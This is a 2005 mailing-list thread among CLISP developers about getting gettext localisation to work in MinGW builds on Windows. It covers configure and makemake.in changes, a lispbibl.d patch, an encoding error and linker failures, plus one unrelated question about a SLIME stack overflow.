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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-22 16:46:28 +0200]:
>
> Sam Steingold:
>
>> >> gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c
>> >
>> > append -lintl, we shall not receive a error, but only:
>>
>> if we are looking in libc, we should not link with libintl.
>>
> It is possible to build clisp with support gettext only from libintl? How?

it should be automatic: when configure detects that gettext is not in
libc, it then looks at libintl.  everything is supposed to be perfectly
transparent, you should not notice where your gettext is coming from
unless you specifically look for it.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-22 16:19:51 +0200]:
>
> win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59
> from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2
>
>> $ ./configure --with-mingw
>> ...

so, did it succeed or fail?
if failed, what was the final error message?
if if succeeded, what is the problem?

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Sam Steingold:

> > * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-22 16:19:51 +0200]:
> >
> > win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59
> > from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2
> >
> >> $ ./configure --with-mingw
> >> ...
>
> so, did it succeed or fail?
> if failed, what was the final error message?
> if if succeeded, what is the problem?
>
No problem.
src\makemake.in:
...
if [ $TOS = win32 ] ; then
  XCFLAGS=$XCFLAGS' -DNO_GETTEXT'
fi
...

modules\i18n\gettext.c:
...
DEFUNR(I18N:GETTEXT, msgid &optional domain category)
{ /* returns the translation of msgid in the given domain,
     depending on the given category. */
  object msgid = check_string(STACK_2);
 #ifdef GNU_GETTEXT
  with_string_0(msgid,Symbol_value(S(ascii)),msgid_asciz, {
    object domain = STACK_1;
    if (missingp(domain)) {
      int category = check_locale_category(STACK_0);
      VALUES1(do_gettext(msgid_asciz,NULL,category));
    } else {
      domain = check_string(domain);
      with_string_0(domain,Symbol_value(S(ascii)),domain_asciz, {
        int category = check_locale_category(STACK_0);
        VALUES1(do_gettext(msgid_asciz,domain_asciz,category));
      });
    }
  });
 #else
  VALUES1(msgid);
 #endif
  skipSTACK(3);
}
...

resume:
GETTEXT DO NOT WORK IN CLISP FOR WIN32

It can change, or "not destiny"?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-23 14:21:08 +0200]:
>
> Sam Steingold:
>
>> > * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-22 16:19:51 +0200]:
>> >
>> > win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59
>> > from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2
>> >
>> >> $ ./configure --with-mingw
>> >> ...
>>
>> so, did it succeed or fail?
>> if failed, what was the final error message?
>> if if succeeded, what is the problem?
>>
> No problem.

so, what does
clisp --version
say?

> src\makemake.in:
> ...
> if [ $TOS =3D win32 ] ; then
>   XCFLAGS=3D$XCFLAGS' -DNO_GETTEXT'
> fi
> ...
>
> modules\i18n\gettext.c:
> ...
> DEFUNR(I18N:GETTEXT, msgid &optional domain category)
> { /* returns the translation of msgid in the given domain,
>      depending on the given category. */
>   object msgid =3D check_string(STACK_2);
>  #ifdef GNU_GETTEXT
>   with_string_0(msgid,Symbol_value(S(ascii)),msgid_asciz, {
>     object domain =3D STACK_1;
>     if (missingp(domain)) {
>       int category =3D check_locale_category(STACK_0);
>       VALUES1(do_gettext(msgid_asciz,NULL,category));
>     } else {
>       domain =3D check_string(domain);
>       with_string_0(domain,Symbol_value(S(ascii)),domain_asciz, {
>         int category =3D check_locale_category(STACK_0);
>         VALUES1(do_gettext(msgid_asciz,domain_asciz,category));
>       });
>     }
>   });
>  #else
>   VALUES1(msgid);
>  #endif
>   skipSTACK(3);
> }
> ...
>
> resume:
> GETTEXT DO NOT WORK IN CLISP FOR WIN32
>
> It can change,

yes, it can.

1. comment out the 3 lines in makemake.in that disable GETTEXT.
   make sure that clisp still builds.

2. find out whether GNU_GETTEXT is defined and, if not, why not.

> or "not destiny"?

you mean "=D0=BD=D0=B5 =D1=81=D1=83=D0=B4=D1=8C=D0=B1=D0=B5=D1=86" ?  :-)
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Date: Wed Feb 23 07:51:54 2005
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Sam Steingold:

> >> if if succeeded, what is the problem?
> >>
> > No problem.
>
> so, what does
> clisp --version
> say?
>
$ ./lisp.exe -M lispinit.mem --version
GNU CLISP 2.33.81 (2005-02-16) (built on home [127.0.0.1])
Software: GNU C 3.4.2 (mingw-special)
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 
-DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none 
libcharset.a libavcall.a libcallback.a  -luser32 -lws2_32 -lole32 
-loleaut32 -luuid -L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
Features:
(REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
 BASE-CHAR=CHARACTER PC386 WIN32)
Installation directory:
User language: ENGLISH
Machine: PC/386 (PC/?86) stnt067 [150.0.0.200]

> yes, it can.
>
> 1. comment out the 3 lines in makemake.in that disable GETTEXT.
>    make sure that clisp still builds.
>
> 2. find out whether GNU_GETTEXT is defined and, if not, why not.
>
I do it. Article 1. will do.
$ ./lisp.exe -M lispinit.mem --version
GNU CLISP 2.33.81 (2005-02-16) (built 3318159772) (memory 3318160458)
Software: GNU C 3.4.2 (mingw-special)
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 
-DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none -lintl 
libcharset.a libavcall.a libcallback.a  -luser32 -lws2_32 -lole32 
-loleaut32 -luuid -L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
Features:
(REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
 BASE-CHAR=CHARACTER PC386 WIN32)
Installation directory:
User language: ENGLISH
Machine: PC/386 (PC/?86) stnt067 [150.0.0.200]

> (English: "no way", "forget it", "tough luck")
>
Thanks :)

Pair remarks:
- The file `clisp.exe' does not get in archive at run command "make 
distrib" though is created;
- The catalog `locale' too does not get in archive.

Has gone to understand further :)

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-23 17:50:33 +0200]:
>
> Pair remarks:
(a couple)

> - The file `clisp.exe' does not get in archive at run command "make
> distrib" though is created;

clisp.exe has certain directories built-in.
it is never distributed.
it is built at installation time.
(it is created at build time because some people run clisp in-place)

> - The catalog `locale' too does not get in archive.

that's because gettext is presumed to be not supported.

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Sam Steingold:

> > - The file `clisp.exe' does not get in archive at run command "make
> > distrib" though is created;
>
> clisp.exe has certain directories built-in.
>
Call
$ clisp.exe -B new/path
redefine some directories

> it is never distributed.
> it is built at installation time.
> (it is created at build time because some people run clisp in-place)
>
clisp.exe is understand parameter "-K" (as against clisp.bat)
But take 1,308 KB memory

> > - The catalog `locale' too does not get in archive.
>
> that's because gettext is presumed to be not supported.
>
I shall try to correct...:)

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In init.lisp:
....
#+GETTEXT (LOAD "german")       ; German messages
#+(and GETTEXT UNICODE) (LOAD "french") ; French messages
#+(and GETTEXT UNICODE) (LOAD "spanish") ; Spanish messages
#+GETTEXT (LOAD "dutch")        ; Dutch messages
#+(and GETTEXT UNICODE) (LOAD "russian") ; Russian messages
....

I cannot find where appears GETTEXT.
UNICODE it is declared.

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next part of src/makemake.in:

for lang in ${ALL_LINGUAS:-"en de fr"}; do
  echotab "mkdir locale${NEXT_}${lang}"
  echotab "mkdir locale${NEXT_}${lang}${NEXT_}LC_MESSAGES"
  echotab "\$(LN_S) po${NEXT_}${lang}.gmo 
locale${NEXT_}${lang}${NEXT_}LC_MESSAGES${NEXT_}clisp.mo"
done

move to next in Makefile:

  mkdir locale/en de fr
  mkdir locale/en de fr/LC_MESSAGES
  $(LN_S) po/en de fr.gmo locale/en de fr/LC_MESSAGES/clisp.mo


Why only "en de fr" and why it is not developed to

    mkdir locale/en
    mkdir locale/de
    mkdir locale/fr
    mkdir locale/de/LC_MESSAGES
    mkdir locale/en/LC_MESSAGES
    mkdir locale/fr/LC_MESSAGES
    $(LN_S) po/en.gmo locale/en/LC_MESSAGES/clisp.mo
    $(LN_S) po/de.gmo locale/de/LC_MESSAGES/clisp.mo
    $(LN_S) po/fr.gmo locale/fr/LC_MESSAGES/clisp.mo

?

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$ diff -a -n makemake.in makemake.in.new
d1535 1
a1535 11
 if [ "${with_gettext}" = no ]; then
   XCFLAGS=$XCFLAGS' -DNO_GETTEXT'
 else
   if [ @USE_NLS@ = yes ] ; then
     USE_GETTEXT=yes
     LIBS='@LIBINTL@ '$LIBS
     XCL_GETTEXTLIB=$XCL_GETTEXTLIB' locale'
   else
     XCFLAGS=$XCFLAGS' -DNO_GETTEXT'
   fi
 fi


(copy part from section for [ $TOS = unix ])

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Sam Steingold:

> clisp.exe has certain directories built-in.
>
clisp.exe could take the current run-time path?

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$ diff -a -n makemake.in makemake.in.new
d1535 1
a1535 11
  if [ "${with_gettext}" = no ]; then
    XCFLAGS=$XCFLAGS' -DNO_GETTEXT'
  else
    if [ @USE_NLS@ = yes ] ; then
      USE_GETTEXT=yes
      LIBS='@LIBINTL@ '$LIBS
      XCL_GETTEXTLIB=$XCL_GETTEXTLIB' locale'
    else
      XCFLAGS=$XCFLAGS' -DNO_GETTEXT'
    fi
  fi


(copy part from section for [ $TOS = unix ])

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-24 09:53:58 +0200]:
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> P.S. With what parameters to start diff to receive a patch?

diff -u
(or at least diff -c)

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-24 10:07:21 +0200]:
>
> Sam Steingold:
>
>> clisp.exe has certain directories built-in.
>>
> clisp.exe could take the current run-time path?

how?

getexecname() is not standard.

<http://www.faqs.org/faqs/unix-faq/faq/part4/>
scroll to question 4.4.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-24 09:41:48 +0200]:
>
> next part of src/makemake.in:
>
> for lang in ${ALL_LINGUAS:-"en de fr"}; do
>   echotab "mkdir locale${NEXT_}${lang}"
>   echotab "mkdir locale${NEXT_}${lang}${NEXT_}LC_MESSAGES"
>   echotab "\$(LN_S) po${NEXT_}${lang}.gmo
>   locale${NEXT_}${lang}${NEXT_}LC_MESSAGES${NEXT_}clisp.mo"
> done
>
> move to next in Makefile:
>
>   mkdir locale/en de fr
>   mkdir locale/en de fr/LC_MESSAGES
>   $(LN_S) po/en de fr.gmo locale/en de fr/LC_MESSAGES/clisp.mo
>
>
> Why only "en de fr" and why it is not developed to

this is legacy.
there was a time when en/de/fr were "built-in" while the others depended
on gettext. now all translations depend on gettext and ALL_LINGUAS is
defined in src/configure.in.
I think makemake.in should be modified:
  ${ALL_LINGUAS:-"en de fr"}
replaced with
  ${ALL_LINGUAS:-en}

>     mkdir locale/en
>     mkdir locale/de
>     mkdir locale/fr
>     mkdir locale/de/LC_MESSAGES
>     mkdir locale/en/LC_MESSAGES
>     mkdir locale/fr/LC_MESSAGES
>     $(LN_S) po/en.gmo locale/en/LC_MESSAGES/clisp.mo
>     $(LN_S) po/de.gmo locale/de/LC_MESSAGES/clisp.mo
>     $(LN_S) po/fr.gmo locale/fr/LC_MESSAGES/clisp.mo
>
> ?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-24 09:24:21 +0200]:
>
> In init.lisp:
> ....
> #+GETTEXT (LOAD "german")       ; German messages
> #+(and GETTEXT UNICODE) (LOAD "french") ; French messages
> #+(and GETTEXT UNICODE) (LOAD "spanish") ; Spanish messages
> #+GETTEXT (LOAD "dutch")        ; Dutch messages
> #+(and GETTEXT UNICODE) (LOAD "russian") ; Russian messages
> ....
>
> I cannot find where appears GETTEXT.
> UNICODE it is declared.

see src/spvw.d:init_object_tab()

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-24 09:17:38 +0200]:
>
> Sam Steingold:
>
>> > - The file `clisp.exe' does not get in archive at run command "make
>> > distrib" though is created;
>>
>> clisp.exe has certain directories built-in.
>>
> Call
> $ clisp.exe -B new/path
> redefine some directories

if you are using -B &c you can as well use lisp.exe instead.
the only reason to use clisp.exe is that it has a good default for -M
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> > * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-24 09:41:48 +0200]:
> >
> > next part of src/makemake.in:
> >
> > for lang in ${ALL_LINGUAS:-"en de fr"}; do

This is fixed now.

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Sam Steingold:

> >> clisp.exe has certain directories built-in.
> >>
> > clisp.exe could take the current run-time path?
>
> how?
>
> getexecname() is not standard.
>
> <http://www.faqs.org/faqs/unix-faq/faq/part4/>
> scroll to question 4.4.
>
But clisp is for *nix, but is absent for win32.
Why it is impossible to make clisp.exe for win32, a using path to the 
place during start?
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win2k + clisp from cvs head build with mingw/msys

[1]> (set-locale)

(:ALL
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[2]> (language-information)

*** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [3]>

clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not 
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Sam Steingold:

> > In init.lisp:
> > ....
> > #+GETTEXT (LOAD "german")       ; German messages
> > #+(and GETTEXT UNICODE) (LOAD "french") ; French messages
> > #+(and GETTEXT UNICODE) (LOAD "spanish") ; Spanish messages
> > #+GETTEXT (LOAD "dutch")        ; Dutch messages
> > #+(and GETTEXT UNICODE) (LOAD "russian") ; Russian messages
> > ....
> >
> > I cannot find where appears GETTEXT.
> > UNICODE it is declared.
>
> see src/spvw.d:init_object_tab()
>
Thanks.
But I have got confused:

src/spvw.d:
...
     #ifdef GNU_GETTEXT
      " :GETTEXT"
     #endif
...

src/lispbibl.d:
...
# Whether to use the GNU gettext library for internationalization:
#if defined(ENABLE_NLS) && !defined(NO_GETTEXT)
  #define GNU_GETTEXT
#endif
...

src/genclisph.d:
...
#ifndef LANGUAGE_STATIC
 #ifndef GNU_GETTEXT
  printf("#define GETTEXT(english) english\n");
  printf("#define CLSTEXT ascii_to_string\n");
 #else
  printf("#define GNU_GETTEXT\n");
...

build-full/clisp.h
...
#define ENABLE_NLS 1
...
#define GETTEXT(english) english
...

build-full/unixconf.h: (this for win32?)
...
#define ENABLE_NLS 1
...

build-full/config.log:
...
configure:5306: checking whether NLS is requested
configure:5315: result: yes
...
## ----------------- ##
## Output variables. ##
## ----------------- ##
...
USE_NLS='yes'
...


What order of run *.d(c)?
"src/spvw.d" depends on "src/lispbibl.d" or "src/genclisph.d -> clisp.h"?
Where a root undefinition GNU_GETTEXT?

I am sorry for importunity. I want to force to work gettext. Very much :)

Thanks.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-25 11:31:22 +0200]:
>
> win2k + clisp from cvs head build with mingw/msys
>
> [1]> (set-locale)
>
> (:ALL
>  "LC_COLLATE=Russian_Russia.1251;LC_CTYPE=Russian_Russia.1251;LC_MONETARY=Russian_Russia.1251;LC_NUMERIC=C;LC_TIME=Russian_Russia.1251"
>  :COLLATE "Russian_Russia.1251" :CTYPE "Russian_Russia.1251" :MONETARY
>  "Russian_Russia.1251" :NUMERIC "C" :TIME "Russian_Russia.1251")
> [2]> (language-information)
>
> *** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion
> The following restarts are available:
> ABORT          :R1      ABORT
> Break 1 [3]>
>
> clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not
> influence result

apparently the return value of language-information contains some bytes
which are not representable in the encodings you tried.
you need a 1:1 encoding.
how about "clisp -E iso-8859-1"?


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Sam wrote:
> > [2]> (language-information)
> >
> > *** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion
> > The following restarts are available:
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> >
> > clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not
> > influence result

The macro res_to_obj() in modules/i18n/gettext.c uses UTF-8 always. I think
it should better use *MISC-ENCODING* instead.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-25 12:40:29 +0200]:
>
> Sam Steingold:
>
>> > In init.lisp:
>> > ....
>> > #+GETTEXT (LOAD "german")       ; German messages
>> > #+(and GETTEXT UNICODE) (LOAD "french") ; French messages
>> > #+(and GETTEXT UNICODE) (LOAD "spanish") ; Spanish messages
>> > #+GETTEXT (LOAD "dutch")        ; Dutch messages
>> > #+(and GETTEXT UNICODE) (LOAD "russian") ; Russian messages
>> > ....
>> >
>> > I cannot find where appears GETTEXT.
>> > UNICODE it is declared.
>>
>> see src/spvw.d:init_object_tab()
>>
> Thanks.
> But I have got confused:
>
> src/spvw.d:
> ...
>      #ifdef GNU_GETTEXT
>       " :GETTEXT"
>      #endif
> ...
>
> src/lispbibl.d:
> ...
> # Whether to use the GNU gettext library for internationalization:
> #if defined(ENABLE_NLS) && !defined(NO_GETTEXT)
>   #define GNU_GETTEXT
> #endif
> ...
>
> src/genclisph.d:
> ...
> #ifndef LANGUAGE_STATIC
>  #ifndef GNU_GETTEXT
>   printf("#define GETTEXT(english) english\n");
>   printf("#define CLSTEXT ascii_to_string\n");
>  #else
>   printf("#define GNU_GETTEXT\n");
> ...
>
> build-full/clisp.h
> ...
> #define ENABLE_NLS 1
> ...
> #define GETTEXT(english) english
> ...
>
> build-full/unixconf.h: (this for win32?)

alas, unixconf.h, although generated on all platforms, is only used on
unix (for the sake of msvc users).
it really should change, but this is not trivial.
if you want to work on this, change lispbibl.d around
"# Determine properties of compiler and environment:"
so that __MINGW32__ is the same as UNIX and see what happens
(you will probably have to put much of win32.d under "#ifndef __MINGW32__")



for now, adding

#if defined(__MINGW32__)
#define ENABLE_NLS 1
#endif

to win32.d should fix the immediate problem.

> ...
> #define ENABLE_NLS 1
> ...
>
> build-full/config.log:
> ...
> configure:5306: checking whether NLS is requested
> configure:5315: result: yes
> ...
> ## ----------------- ##
> ## Output variables. ##
> ## ----------------- ##
> ...
> USE_NLS='yes'
> ...
>
>
> What order of run *.d(c)?
> "src/spvw.d" depends on "src/lispbibl.d" or "src/genclisph.d -> clisp.h"?
> Where a root undefinition GNU_GETTEXT?

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>
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>
> to win32.d should fix the immediate problem.

It would be better if ENABLE_NLS got defined through the CFLAGS
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> * Bruno Haible <oehab@pyvfc.bet> [2005-02-25 16:40:16 +0100]:
>
> Sam wrote:
>> for now, adding
>>
>> #if defined(__MINGW32__)
>> #define ENABLE_NLS 1
>> #endif
>>
>> to win32.d should fix the immediate problem.
>
> It would be better if ENABLE_NLS got defined through the CFLAGS in the
> Makefile, rather than through win32.d. Otherwise gettext would become
> a build requirement on Woe32. It's better to not make this a
> requirement but leave it optional.

better yet, use autoconf - include unixconf.h.

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> * Bruno Haible <oehab@pyvfc.bet> [2005-02-25 16:36:09 +0100]:
>
> Sam wrote:
>> > [2]> (language-information)
>> >
>> > *** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion
>> > The following restarts are available:
>> > ABORT          :R1      ABORT
>> > Break 1 [3]>
>> >
>> > clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not
>> > influence result
>
> The macro res_to_obj() in modules/i18n/gettext.c uses UTF-8 always. I think
> it should better use *MISC-ENCODING* instead.

UTF-8 is hard-wired in modules/i18n/gettext.c in many many places.
when should it be replaced with *MISC-ENCODING*?

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Sam Steingold:

> > [2]> (language-information)
> >
> > *** - invalid byte sequence #xCF #xED in CHARSET:UTF-8 conversion
> > The following restarts are available:
> > ABORT          :R1      ABORT
> > Break 1 [3]>
> >
> > clisp option "-E xxx" where xxx is CP1251, CP866 or UTF-8 does not
> > influence result
>
> apparently the return value of language-information contains some bytes
> which are not representable in the encodings you tried.
> you need a 1:1 encoding.
> how about "clisp -E iso-8859-1"?
>
iso-8859-[1..5] - no effect

> UTF-8 is hard-wired in modules/i18n/gettext.c in many many places.
> when should it be replaced with *MISC-ENCODING*?
>
How do it?

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Sam Steingold:

> > build-full/clisp.h
> > ...
> > #define ENABLE_NLS 1
> > ...
> > #define GETTEXT(english) english
> > ...
> >
> > build-full/unixconf.h: (this for win32?)
>
> alas, unixconf.h, although generated on all platforms, is only used on
> unix (for the sake of msvc users).
> it really should change, but this is not trivial.
> if you want to work on this, change lispbibl.d around
> "# Determine properties of compiler and environment:"
> so that __MINGW32__ is the same as UNIX and see what happens
> (you will probably have to put much of win32.d under "#ifndef 
> __MINGW32__")
>
>
>
> for now, adding
>
> #if defined(__MINGW32__)
> #define ENABLE_NLS 1
> #endif
>
> to win32.d should fix the immediate problem.
>
Has added.
Problem is not fixed:
in clisp.h line has remained:
#define GETTEXT(english) english

clisp from cvs-tarball (not from cvs head)

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-28 17:20:34 +0200]:
>
>> UTF-8 is hard-wired in modules/i18n/gettext.c in many many places.
>> when should it be replaced with *MISC-ENCODING*?
>>
> How do it?

done - it's in the CVS now

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-28 17:41:12 +0200]:
>
> Sam Steingold:
>
>> > build-full/clisp.h
>> > ...
>> > #define ENABLE_NLS 1
>> > ...
>> > #define GETTEXT(english) english
>> > ...
>> >
>> > build-full/unixconf.h: (this for win32?)
>>
>> alas, unixconf.h, although generated on all platforms, is only used on
>> unix (for the sake of msvc users).
>> it really should change, but this is not trivial.
>> if you want to work on this, change lispbibl.d around
>> "# Determine properties of compiler and environment:"
>> so that __MINGW32__ is the same as UNIX and see what happens
>> (you will probably have to put much of win32.d under "#ifndef
>> __MINGW32__")
>>
>>
>>
>> for now, adding
>>
>> #if defined(__MINGW32__)
>> #define ENABLE_NLS 1
>> #endif
>>
>> to win32.d should fix the immediate problem.
>>
> Has added.
> Problem is not fixed:
> in clisp.h line has remained:
> #define GETTEXT(english) english

well, I guess the trivial tweak did not work.

how about the appended patch on top of CVS head?

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--- src/lispbibl.d	24 Feb 2005 19:11:54 -0000	1.616
+++ src/lispbibl.d	28 Feb 2005 16:51:44 -0000
@@ -312,11 +312,11 @@
 
 
 # Determine properties of compiler and environment:
-#if defined(UNIX)
+#if defined(UNIX) || defined(__MINGW32__)
   #include "unixconf.h"  # configuration generated by configure
   #include "intparam.h"  # integer-type characteristics created by the machine
   #include "floatparam.h" # floating-point type characteristics
-#elif defined(WIN32)
+#elif defined(WIN32) && !defined(__MINGW32__)
   #include "version.h"          /* defines PACKAGE_* */
   #define char_bitsize 8
   #define short_bitsize 16
@@ -348,6 +348,8 @@
   #define SHLIB_ADDRESS_RANGE 0
   #define STACK_ADDRESS_RANGE ~0UL
   #define ICONV_CONST
+#else
+  #error "where is the configuration for your platform?"
 #endif
 
 


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Sam Steingold:

> >> for now, adding
> >>
> >> #if defined(__MINGW32__)
> >> #define ENABLE_NLS 1
> >> #endif
> >>
> >> to win32.d should fix the immediate problem.
> >>
> > Has added.
> > Problem is not fixed:
> > in clisp.h line has remained:
> > #define GETTEXT(english) english
>
> well, I guess the trivial tweak did not work.
>
> how about the appended patch on top of CVS head?
>
top of CVS head (without patch):

$ ./configure --with-mingw --build build-mingw
....
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 
-DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none 
spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o 
pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o 
record.o weak.o sequence.o charstrg.o debug.o error.o misc.o time.o 
predtype.o symbol.o lisparit.o i18n.o foreign.o win32aux.o built.o 
ari80386.o modules.o libcharset.a libavcall.a libcallback.a  -luser32 
-lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.exe
rm -f init.lisp
ln ../src/init.lisp init.lisp
....
rm -f deprecated.lisp
ln ../src/deprecated.lisp deprecated.lisp
rm -f interpreted.mem
lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and 
(load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
make: *** [interpreted.mem] Error 5


What error - I do not know.
Popup message: "lisp.exe has caused a error and it will be closed. It is 
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-28 19:17:14 +0200]:
>
> make: *** [interpreted.mem] Error 5

./configure --with-debug --with-mingw --build build-g
run the failing command under gdb.


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Sam Steingold:

> > make: *** [interpreted.mem] Error 5
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> ./configure --with-debug --with-mingw --build build-g
> run the failing command under gdb.
>
`$ ./configure --with-debug...' do not generate error.

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I've looked into the Faq, but the following don't really match my
problem.

http://sourceforge.net/mailarchive/message.php?msg_id=1662294
http://sourceforge.net/mailarchive/message.php?msg_id=1785942

Basically, when I run clisp stand alone, I don't crash but if I use it
under SLIME, I do crash.  The editbin program might help, if I knew
where to get it.


Background:

I'm trying to get the old 1990 Genetic Programming Paradigm lisp code
from Koza running on WindowsXP.  My .emacs contains

(setq inferior-lisp-program "c:/Clisp/clisp-2.33/clisp.bat")

and initially, clisp.bat was

C:\Clisp\clisp-2.33\full\lisp.exe -B "C:/Clisp/clisp-2.33/" -M "C:\Clisp\clisp-2.33\/full/lispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9


Using SLIME, I was able to load and compile koza.lisp.  Then I saved
the result to a new image, koza.mem and changed clisp.bat to

C:\Clisp\clisp-2.33\full\lisp.exe -B "C:/Clisp/clisp-2.33/" -M "C:\Clisp\clisp-2.33\koza.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9


If I double click the Clisp desktop icon or start clisp via command
line, then run the (test-gpp) function, everything is fine (except for
a need to write a new fast-eval for GPP in clisp).  If I start SLIME
instead, I get the endless

*** - Program Stack Overflow. RESET

crash.


I don't know if this is a swank, clisp, or koza problem...well it's
probably a windows problem, but where can I fix it?


Since I've hit this overflow, I don't know if doing things the hard
way with a load and compile of koza everytime I want to use it (and it
is the primary reason I'm coding in lisp so I'd prefer it in the image
fulltime) will do any good.  It seems that I would just run into the
stack problem sooner or later....

-TIA-


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> > make: *** [interpreted.mem] Error 5
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from CVS head (01.03.2005) no error

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Sam Steingold:

> how about the appended patch on top of CVS head?
>
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....
mkdir data
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cd data && ln ../../src/clhs.txt .
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 
-DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none 
spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o 
pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o 
record.o weak.o sequence.o charstrg.o debug.o error.o misc.o time.o 
predtype.o symbol.o lisparit.o i18n.o foreign.o win32aux.o built.o 
ari80386.o modules.o libcharset.a libavcall.a libcallback.a  -luser32 
-lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.exe
stream.o(.text+0x3e43):stream.c: undefined reference to 
`_imp__libiconv_open'
stream.o(.text+0x3e5c):stream.c: undefined reference to `errno'
stream.o(.text+0x3ecf):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x3ef2):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x4151):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x415a):stream.c: undefined reference to `errno'
stream.o(.text+0x41c3):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x421b):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x4225):stream.c: undefined reference to `errno'
stream.o(.text+0x423a):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x42cf):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x42d7):stream.c: undefined reference to `errno'
stream.o(.text+0x44d3):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x4526):stream.c: undefined reference to `errno'
stream.o(.text+0x45b8):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x4601):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x460c):stream.c: undefined reference to `errno'
stream.o(.text+0x4624):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x4859):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x4861):stream.c: undefined reference to `errno'
stream.o(.text+0x48fd):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x4959):stream.c: undefined reference to `_imp__libiconv'
stream.o(.text+0x4962):stream.c: undefined reference to `errno'
stream.o(.text+0x4979):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x49bb):stream.c: undefined reference to 
`_imp__libiconv_close'
stream.o(.text+0x4a1e):stream.c: undefined reference to `errno'
stream.o(.text+0x4ae9):stream.c: undefined reference to `_imp__libiconv'
